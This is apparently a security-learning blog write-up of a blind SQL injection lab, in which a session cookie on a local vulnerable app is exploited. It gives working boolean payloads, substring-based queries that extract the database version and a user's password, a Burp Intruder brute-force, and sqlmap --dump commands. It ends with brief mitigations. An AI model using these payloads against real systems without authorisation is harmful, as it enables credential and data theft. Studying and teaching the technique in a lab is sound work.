SQL Injection is one of the most critical vulnerabilities in web applications. However, not all SQL Injection flaws are directly visible. In many real-world scenarios, applications suppress database errors and do not return query results — making exploitation more challenging.

This is where Blind SQL Injection comes into play.

In this write-up, I demonstrate how to identify and exploit a Blind SQL Injection vulnerability through session cookies, leveraging indirect indicators such as response behavior and content length to extract sensitive data.

When to Use

Test for blind SQL injection when:

  • Login fields or cookies are used to validate users
  • Responses do not display database errors
  • You observe different Content-Lengths or subtle changes in page behaviour
  • Automated tools (sqlmap) report not injectable

Blind SQLi is common during the active exploitation phase after standard SQL injection attempts fail.

Objective

  • Detect SQL injection through session cookies
  • Extract hidden information from the database (version, passwords)
  • Compare Content-Length changes to infer true/false statements
  • Automate extraction using Burp Intruder and sqlmap

Prerequisites

  • Burp Suite (Community or Pro)
  • sqlmap
  • Basic understanding of:
  • SQL syntax
  • Boolean-based blind SQLi
  • Substring() function
  • Cookies and sessions
  • Browser configured to intercept requests
  • Local vulnerable lab (i0x02)

Lab

None

Steps (Detailed Walkthrough)

1 — Test Application Functionality

Login using provided credentials:

username: jeremy
password: jeremy
None

we got "Welcome to this Dashboard" message , So it's the main functionality of this application

This confirms main functionality works and establishes baseline Content-Length.

2 — Check POST Request Content-Length

Inspect the POST request in Burp HTTP History.

Content-Length with valid login:

1928
None

3 — Test Invalid Credentials

Send this request to repeater (ctrl+r)

Before using a repeater, send a request

None

Change password:

From

password=jeremy

To

password=password

Send request → Content-Length changes to:

2122
None
  • Render the response (optional)
None
  • Observing the CL change helps identify true/false indicators

4 — Attempt SQL Injection in Login Fields

Now try something like Username=jeremy' or 1=1#& password=password but we encode ' or 1=1# by selecting it and pressing

  • ctrl+u or right click the selected part Convert selection →URL →URL-encode key characters ,it will went

From

username=jeremy' or 1=1#&password=password

To

username=jeremy'+or+1%3d1%23&password=password

Send this request

None

we get the same 2122 length, but the desired response length was 1928,even if we tried with double quote, we failed again

It's a tricky situation, like even if our sql query is right, it still rejected by application, we don't get any less or more information

  • Manual testing indicates login fields are filtered or not injectable
  • Automated tool sqlmap will fail at this point

5 — Automate Using sqlmap (Fails)

Save request as request.txt and run in terminal:

sqlmap -r request.txt
None
None

As the "Critical" response is telling us all the tested parameters are not injectable

It's mean in this case automation technique is not working, we have to do it manually either by using list of payloads which we have to download or by using burp suite

Interpretation:

Automation fails → manual attack is required on cookies or other parameters.

6 — Focus on Session Cookie

Now we will see what application has else to offer

When we send a POST request cookie is set for it(After login, a session cookie is created)

None

and that cookie is used in next GET request

None

It's mean this application is processing this session cookie somewhere, because for this cookie we get "Welcome to dashboard message"

Send GET request to Repeater using this cookie:

Send the request, you will see the content lenght

Content-Length = 1027
None

length is 1027,and we got Welcome message as well, as below

None

7 — Test Cookie Integrity

Now we will try to break this session cookie, Modify cookie (add an "a" at the end) → CL changes → Welcome message disappears, content lenght is also changed to 1928

None

remove the "a", cookie will start working

  • Indicates cookie is processed in backend SQL queries
  • Injection is likely possible

8 — Test Blind SQL Injection on Cookie

Append payload:

' or 1=1#
  • CL = 1027 → True statement
  • Welcome message appears (at the bottom i search for Welcom and 1 match is found)
None
  • Only page behaviour changes → Boolean-based blind SQLi

9 Substring-based/payloads True/False Tests

We are gonna ask database yes or no questions for example:

  • Is the first character of usernam is "a"? yes/no
  • is first charcter of jeremy's password is "b"? yes/no
  • Is password longer 20 characters? yes/no………………..etc

Such type of questions will help us to extract such information which is not displayed on screen

We are gonna use sub string

Syntax for substring:

substring('string', start, length)

string=that we want to match

start=starting position

length=number of charactewrs we want to extract

Now we will use sub string with cookie

6967cabefd763ac1a1a88e11159957db' and substring('a',1,1)='a'#
None

as we can see we got same length and 1 match also,it means the statement is true

even if we send

6967cabefd763ac1a1a88e11159957db' and substring('alex',1,3)='ale'#

it also returns true

but

6967cabefd763ac1a1a88e11159957db' and substring('l',1,1)='a'#

this will be false and length will be changed,now hope so you understand how substring is working, but we are not gonna play match match, our point was to use something on the place of "string" in substring which retrurni us some information from database.

  • This allows extracting hidden data one character at a time

10 — Extract Database Version

6967cabefd763ac1a1a88e11159957db' and substring((select version()),1,1)='7'#
None

length is changed and we found 0 highligts

if we replace ƍ' with Ǝ'

None

we got desired length with 1 match, it's mean whatever the version of databse is, it starts from 8

Now we will can make further guess like using

6967cabefd763ac1a1a88e11159957db' and substring((select version()),1,2)='8.'#
None

result is again positive, now we can try Ǝ.1',Ǝ.2' etc to guess the version, when we try Ǝ.0.3' it matches

So we have extracted the version of database of application

11 — Extract Password Using Substring + Intruder

6967cabefd763ac1a1a88e11159957db' and substring((select password from injection0x02 where username='jessamy'),1,1)='a'#

but using this method will be so hectic, like i have to test 'b','c' and so on manually, i will use intruder instead by selecting 'a' and then marked it in Add& and add list a-to-z and 1-to-9 manually

None

and do a snipper attack

None

as we can see only 'z ' has different lengths from all other attempts, and it also retrieve the 1027 comtent length, it means, whatever the password of jessamy is, it starts from 'z'(it's not case sensitive instead of 'z' it might be 'Z' ), by doing this we can crack password but we also want to demonstrate sqlmap

12 — Automate Extraction Using sqlmap

Now we will use sqlmap

use url of browser and session cookie

sqlmap -u "<http://127.0.0.1/labs/i0x02.php?id=1>" --cookie="session=6967cabefd763ac1a1a88e11159957db" --level=3 --risk=2

while this command is running, you will come across some questions, answer them according to your requirments

None

as you can see we find out payload for this session cookie, now run

sqlmap -u "<http://127.0.0.1/labs/i0x02.php?id=1>" --cookie="session=6967cabefd763ac1a1a88e11159957db" --level=3 --risk=2 --dump

This will dump passwords for us, this is actually dumping things from every table not specifically from injection0x02

To speed it up i will use

sqlmap -u "<http://127.0.0.1/labs/i0x02.php?id=1>" --cookie="session=6967cabefd763ac1a1a88e11159957db" --level=3 --risk=2 --dump -T injection0x02
None

so we cracked the password for jessamy, which started from Z

somewher above,by using intruder we found out that the password starts from z which is proved now.

End of blind attacks….

Mitigation Strategies

To prevent Blind SQL Injection:

  • Use prepared statements / parameterized queries
  • Validate and sanitize all inputs (including cookies)
  • Avoid dynamic query construction
  • Implement proper error handling
  • Apply least privilege access to database users

Conclusion

This lab demonstrated how Blind SQL Injection can be exploited even when no direct output or errors are visible.

By leveraging response differences and boolean logic, it is possible to extract sensitive data from the database step-by-step.

Understanding these techniques is essential for identifying hidden vulnerabilities and strengthening application security.

Connect With Me

If you found this write-up helpful, feel free to follow my cybersecurity learning journey.

🔗 LinkedIn: www.linkedin.com/in/laibakashif0011